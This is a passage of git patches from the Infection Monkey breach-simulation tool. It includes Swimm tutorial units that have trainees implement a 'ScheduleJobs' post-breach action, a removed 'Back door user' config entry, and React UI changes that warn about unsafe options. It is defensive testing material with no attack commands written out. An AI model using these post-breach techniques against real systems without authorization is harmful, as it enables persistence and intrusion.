0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFN3aW1tZXIlM0ElMjBBZGQlMjBuZXclMjBQQkElMjBoZXJlJTIwdG8lMjBjb25maWchJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0ExMCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..39ebd33a 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -4,15 +4,7 @@", + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"type\": \"string\",", + " \"anyOf\": [", + "- {", + "+ # Swimmer: Add new PBA here to config!", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"BackdoorUser\"", + "- ],", + "- \"title\": \"Back door user\",", + "- \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "- \"attack_techniques\": [\"T1136\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "app_version": "0.3.5-1", + "file_version": "1.0.4" } \ No newline at end of file From 49d37664364f2df4e0ddfce679f9a78952b78788 Mon Sep 17 00:00:00 2001 From: Swimm Date: Thu, 28 Jan 2021 19:30:48 +0200 Subject: [PATCH 209/466] =?UTF-8?q?Swimm:=20update=20unit=20Implement=20a?= =?UTF-8?q?=20new=20PBA=20=E2=80=94=20=20`ScheduleJobs`=20(id:=20VW4rf3AxR?= =?UTF-8?q?slfT7lwaug7).?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/VW4rf3AxRslfT7lwaug7.swm | 53 +++++++++++++++++++++++------------ 1 file changed, 35 insertions(+), 18 deletions(-) diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index 65090e905..c4e8df928 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -1,31 +1,48 @@ { "id": "VW4rf3AxRslfT7lwaug7", "name": "Implement a new PBA β€” `ScheduleJobs`", - "dod": "WW91JTIwc2hvdWxkJTIwaW1wbGVtZW50JTIwYSUyMG5ldyUyMFBCQSUyMGluJTIwTW9ua2V5JTIwd2hpY2glMjBzY2hlZHVsZXMlMjBqb2JzJTIwb24lMjB0aGUlMjBtYWNoaW5lLg==", - "description": "WW91JTIwbmVlZCUyMHRvJTIwaW1wbGVtZW50JTIwdGhlJTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwd2hpY2glMjBjcmVhdGVzJTIwc2NoZWR1bGVkJTIwam9icyUyMG9uJTIwdGhlJTIwbWFjaGluZS4lMjAlM0NiciUzRSUzQ2JyJTNFJTBBJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZtZWRpYS5naXBoeS5jb20lMkZtZWRpYSUyRmwwSzRtVkU1YjVXWjFzY3RXJTJGZ2lwaHkuZ2lmJTIyJTIwaGVpZ2h0JTNEMTc1JTNFJTNDYnIlM0UlM0NiciUzRSUwQVRoZSUyMGNvbW1hbmRzJTIwdGhhdCUyMGFkZCUyMHNjaGVkdWxlZCUyMGpvYnMlMjBmb3IlMjBXaW5kb3dzJTIwYW5kJTIwTGludXglMjBjYW4lMjBiZSUyMHJldHJpZXZlZCUyMGZyb20lMjAlNjBnZXRfY29tbWFuZHNfdG9fc2NoZWR1bGVfam9icyU2MCUyMCVFMiU4MCU5NCUyMG1ha2UlMjBzdXJlJTIweW91JTIwdW5kZXJzdGFuZCUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUwQSUwQSUyMyUyMyUyME1hbnVhbCUyMHRlc3QlMjAlMjAlMEFPbmNlJTIweW91JTIwdGhpbmslMjB5b3UncmUlMjBkb25lLi4uJTBBLSUyMFJ1biUyMHRoZSUyME1vbmtleSUyMElzbGFuZCUwQS0lMjBNYWtlJTIwc3VyZSUyMHRoZSUyMCUyMkpvYiUyMHNjaGVkdWxpbmclMjIlMjBQQkElMjBpcyUyMGVuYWJsZWQlMjBpbiUyMHRoZSUyMCUyMk1vbmtleSUyMiUyMHRhYiUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMCVFMiU4MCU5NCUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEtJTIwUnVuJTIwdGhlJTIwTW9ua2V5JTBBLSUyME1ha2UlMjBzdXJlJTIweW91JTIwc2VlJTIwdGhlJTIwUEJBJTIwd2l0aCUyMGl0cyUyMHJlc3VsdHMlMjBpbiUyMHRoZSUyMFNlY3VyaXR5JTIwcmVwb3J0JTIwYXMlMjB3ZWxsJTIwYXMlMjBpbiUyMHRoZSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwdW5kZXIlMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlJTBBJTBBJTNDaW1nJTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZmaXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20lMkZ2MCUyRmIlMkZzd2ltbWlvLWNvbnRlbnQlMkZvJTJGcmVwb3NpdG9yaWVzJTI1MkY2TmxiOTlOdFk1RmMzYlNkOHN1SCUyNTJGaW1nJTI1MkZmMGU1M2U2Yy05ZGJlLTQxZDgtOTQ1NC0yYjU3NjFjM2Y1M2EucG5nJTNGYWx0JTNEbWVkaWElMjZ0b2tlbiUzRDIxYWE0YmI4LTdlYmUtNGRhYi1hNzM5LWM3N2UwNTkxNDRkZCUyMiUyMGhlaWdodCUzRDQwMCUzRSUwQSUzQ2JyJTNFJTNDYnIlM0UlMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbSUyRnYwJTJGYiUyRnN3aW1taW8tY29udGVudCUyRm8lMkZyZXBvc2l0b3JpZXMlMjUyRjZObGI5OU50WTVGYzNiU2Q4c3VIJTI1MkZpbWclMjUyRjUyODM4OWEwLTM1YzgtNDM4MC1iNmUyLTM1MzA2OGVkMDFlNC5wbmclM0ZhbHQlM0RtZWRpYSUyNnRva2VuJTNEMDg3NjdmNTUtODZlMi00ZjUxLThlY2YtMTNmZDZjYzI1YWQ1JTIyJTIwaGVpZ2h0JTNENDAwJTNF", - "summary": "TWFueSUyMG90aGVyJTIwUEJBcyUyMGFyZSUyMGFzJTIwc2ltcGxlJTIwYXMlMjB0aGlzJTIwb25lJTJDJTIwdXNpbmclMjBzaGVsbCUyMGNvbW1hbmRzJTIwb3IlMjBzY3JpcHRzJTIwJUUyJTgwJTk0JTIwc2VlJTIwJTYwVGltZXN0b21waW5nJTYwJTIwYW5kJTIwJTYwQWNjb3VudERpc2NvdmVyeSU2MC4lMjAlM0NiciUzRSUzQ2JyJTNFJTBBJTBBSG93ZXZlciUyQyUyMGZvciUyMGxlc3MlMjBzdHJhaWdodGZvcndhcmQlMjBvbmVzJTJDJTIweW91JTIwY2FuJTIwb3ZlcnJpZGUlMjBmdW5jdGlvbnMlMjBhbmQlMjBpbXBsZW1lbnQlMjBuZXclMjBjbGFzc2VzJTIwZGVwZW5kaW5nJTIwb24lMjB3aGF0JTIwaXMlMjByZXF1aXJlZCUyMCVFMiU4MCU5NCUyMHNlZSUyMCU2MFNpZ25lZFNjcmlwdFByb3h5RXhlY3V0aW9uJTYwJTIwYW5kJTIwJTYwTW9kaWZ5U2hlbGxTdGFydHVwRmlsZXMlNjAuJTNDYnIlM0UlM0NiciUzRSUwQSUwQVRoaXMlMjBQQkElMkMlMjBhbG9uZyUyMHdpdGglMjBhbGwlMjB0aGUlMjBvdGhlciUyMFBCQXMlMkMlMjB3aWxsJTIwcnVuJTIwb24lMjBhJTIwc3lzdGVtJTIwYWZ0ZXIlMjBpdCUyMGhhcyUyMGJlZW4lMjBicmVhY2hlZC4lMjBUaGUlMjBwdXJwb3NlJTIwb2YlMjB0aGlzJTIwY29kZSUyMGlzJTIwdG8lMjB0ZXN0JTIwd2hldGhlciUyMHRhcmdldCUyMHN5c3RlbXMlMjBhbGxvdyUyMGF0dGFja2VycyUyMHRvJTIwc2NoZWR1bGUlMjBqb2JzJTJDJTIwd2hpY2glMjB0aGV5JTIwY291bGQlMjB1c2UlMjB0byUyMHJ1biUyMG1hbGljaW91cyUyMGNvZGUlMjBhdCUyMHNvbWUlMjBzcGVjaWZpZWQlMjBkYXRlJTIwYW5kJTIwdGltZS4=", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZzY2hlZHVsZV9qb2JzLnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZzY2hlZHVsZV9qb2JzLnB5JTBBaW5kZXglMjBkNmNkZDI3Ni4uNzlhNzcyNGQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRnNjaGVkdWxlX2pvYnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRnNjaGVkdWxlX2pvYnMucHklMEElNDAlNDAlMjAtMTAlMkMxMCUyMCUyQjEwJTJDNSUyMCU0MCU0MCUyMGNsYXNzJTIwU2NoZWR1bGVKb2JzKFBCQSklM0ElMEElMjAlMjAlMjAlMjAlMjAlMjIlMjIlMjIlMEElMjAlMEElMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX3NjaGVkdWxlX2pvYnMoKSUwQS0lMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoU2NoZWR1bGVKb2JzJTJDJTIwc2VsZikuX19pbml0X18obmFtZSUzRFBPU1RfQlJFQUNIX0pPQl9TQ0hFRFVMSU5HJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTBBLSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZW1vdmVfc2NoZWR1bGVkX2pvYnMoKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSU1QTEVNRU5UJTIwSEVSRSElMEE=", + "dod": "You should implement a new PBA in Monkey which schedules jobs on the machine.", + "description": "You need to implement the `ScheduleJobs` PBA which creates scheduled jobs on the machine.

\n

\nThe commands that add scheduled jobs for Windows and Linux can be retrieved from `get_commands_to_schedule_jobs` β€” make sure you understand how to use this function correctly.\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- Make sure the \"Job scheduling\" PBA is enabled in the \"Monkey\" tab in the configuration β€” for this test, disable network scanning, exploiting, and all other PBAs\n- Run the Monkey\n- Make sure you see the PBA with its results in the Security report as well as in the ATT&CK report under the relevant MITRE technique\n\n\n

\n", + "summary": "Many other PBAs are as simple as this one, using shell commands or scripts β€” see `Timestomping` and `AccountDiscovery`.

\n\nHowever, for less straightforward ones, you can override functions and implement new classes depending on what is required β€” see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`.

\n\nThis PBA, along with all the other PBAs, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to schedule jobs, which they could use to run malicious code at some specified date and time.", + "hunksOrder": [ + "monkey/infection_monkey/post_breach/actions/schedule_jobs.py_0" + ], "tests": [], "hints": [ "Check out the `Timestomping` PBA to get an idea about the implementation.", "Don't forget to add code to remove the scheduled jobs!" ], - "files": { + "play_mode": "all", + "swimmPatch": { "monkey/infection_monkey/post_breach/actions/schedule_jobs.py": { - "index": [ - "d6cdd276..79a7724d", - "100644" - ], - "fileA": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", - "fileB": "monkey/infection_monkey/post_breach/actions/schedule_jobs.py", - "status": "MODIFIED", - "numLineDeletions": 7, - "numLineAdditions": 2, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMCUyQzEwJTIwJTJCMTAlMkM1JTIwJTQwJTQwJTIwY2xhc3MlMjBTY2hlZHVsZUpvYnMoUEJBKSUzQSUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjIlNUMlMjIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCUyQyUyMmIlMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMiUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX3NjaGVkdWxlX2pvYnMoKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKFNjaGVkdWxlSm9icyUyQyUyMHNlbGYpLl9faW5pdF9fKG5hbWUlM0RQT1NUX0JSRUFDSF9KT0JfU0NIRURVTElORyUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE1JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZW1vdmVfc2NoZWR1bGVkX2pvYnMoKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcGFzcyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMElNUExFTUVOVCUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0ExMCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\nindex f7d8d805..06839463 100644\n--- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py\n+++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -10,12 +10,6 @@", + " \"\"\"", + " ", + " def __init__(self):", + "- linux_cmds, windows_cmds = get_commands_to_schedule_jobs()", + "+ pass", + " ", + "- super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,", + "+ # Swimmer: IMPLEMENT HERE!", + "- linux_cmd=' '.join(linux_cmds),", + "- windows_cmd=windows_cmds)", + "- ", + "- def run(self):", + "- super(ScheduleJobs, self).run()", + "- remove_scheduled_jobs()" + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "app_version": "0.3.5-1", + "file_version": "1.0.4" } \ No newline at end of file From 98e26b0be139b82641c4b8ed612e0c88e6bba225 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 11:23:24 -0500 Subject: [PATCH 210/466] ui: refactor getHideResetState() to use isSafe() --- .../cc/ui/src/components/ui-components/AdvancedMultiSelect.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 955aec509..834dcec3f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -108,7 +108,7 @@ class AdvancedMultiSelect extends React.Component { } getHideResetState(selectValues) { - return selectValues.every((value) => this.defaultValues.includes(value)); + return selectValues.every((value) => this.isSafe(value)); } setPaneInfo = (itemKey) => { From e43c91e87e68ca67317ba727f862752db4882ca4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 13:06:21 -0500 Subject: [PATCH 211/466] ui: Show warning message when master checkbox selected with unsafe --- .../ui-components/AdvancedMultiSelect.js | 37 ++++++++++------ .../src/components/ui-components/InfoPane.js | 43 +++++++++++++------ 2 files changed, 55 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 834dcec3f..575dbae8e 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -3,7 +3,7 @@ import {Button, Card} from 'react-bootstrap'; import {cloneDeep} from 'lodash'; -import {getDefaultPaneParams, InfoPane} from './InfoPane'; +import {getDefaultPaneParams, InfoPane, WarningType} from './InfoPane'; import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; import ChildCheckboxContainer from './ChildCheckbox'; import {getFullDefinitionByKey} from './JsonSchemaHelpers'; @@ -41,7 +41,11 @@ class AdvancedMultiSelect extends React.Component { this.state = { masterCheckboxState: this.getMasterCheckboxState(props.value), hideReset: this.getHideResetState(props.value), - infoPaneParams: getDefaultPaneParams(this.infoPaneRefString, this.registry) + infoPaneParams: getDefaultPaneParams( + this.infoPaneRefString, + this.registry, + this.unsafeOptionsSelected(this.props.value) + ) }; } @@ -55,6 +59,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(newValues); this.setMasterCheckboxState(newValues); this.setHideResetState(newValues); + this.setPaneInfoToDefault(this.unsafeOptionsSelected(newValues)); } onChildCheckboxClick = (value) => { @@ -98,7 +103,7 @@ class AdvancedMultiSelect extends React.Component { this.props.onChange(this.defaultValues); this.setHideResetState(this.defaultValues); this.setMasterCheckboxState(this.defaultValues); - this.setPaneInfoToDefault(); + this.setPaneInfoToDefault(this.unsafeOptionsSelected(this.defaultValues)); } setHideResetState(selectValues) { @@ -108,7 +113,15 @@ class AdvancedMultiSelect extends React.Component { } getHideResetState(selectValues) { - return selectValues.every((value) => this.isSafe(value)); + return !(this.unsafeOptionsSelected(selectValues)) + } + + unsafeOptionsSelected(selectValues) { + return !(selectValues.every((value) => this.isSafe(value))); + } + + isSafe = (itemKey) => { + return getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey).safe; } setPaneInfo = (itemKey) => { @@ -119,22 +132,22 @@ class AdvancedMultiSelect extends React.Component { title: definitionObj.title, content: definitionObj.info, link: definitionObj.link, - showWarning: !(this.isSafe(itemKey)) + warningType: !(this.isSafe(itemKey)) ? WarningType.SINGLE : WarningType.NONE } } ); } - setPaneInfoToDefault() { + setPaneInfoToDefault(unsafeOptionsSelected) { this.setState(() => ({ - infoPaneParams: getDefaultPaneParams(this.props.schema.items.$ref, this.props.registry) + infoPaneParams: getDefaultPaneParams( + this.props.schema.items.$ref, + this.props.registry, + unsafeOptionsSelected + ) })); } - isSafe = (itemKey) => { - return getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey).safe; - } - render() { const { schema, @@ -161,7 +174,7 @@ class AdvancedMultiSelect extends React.Component { + warningType={this.state.infoPaneParams.warningType}/>
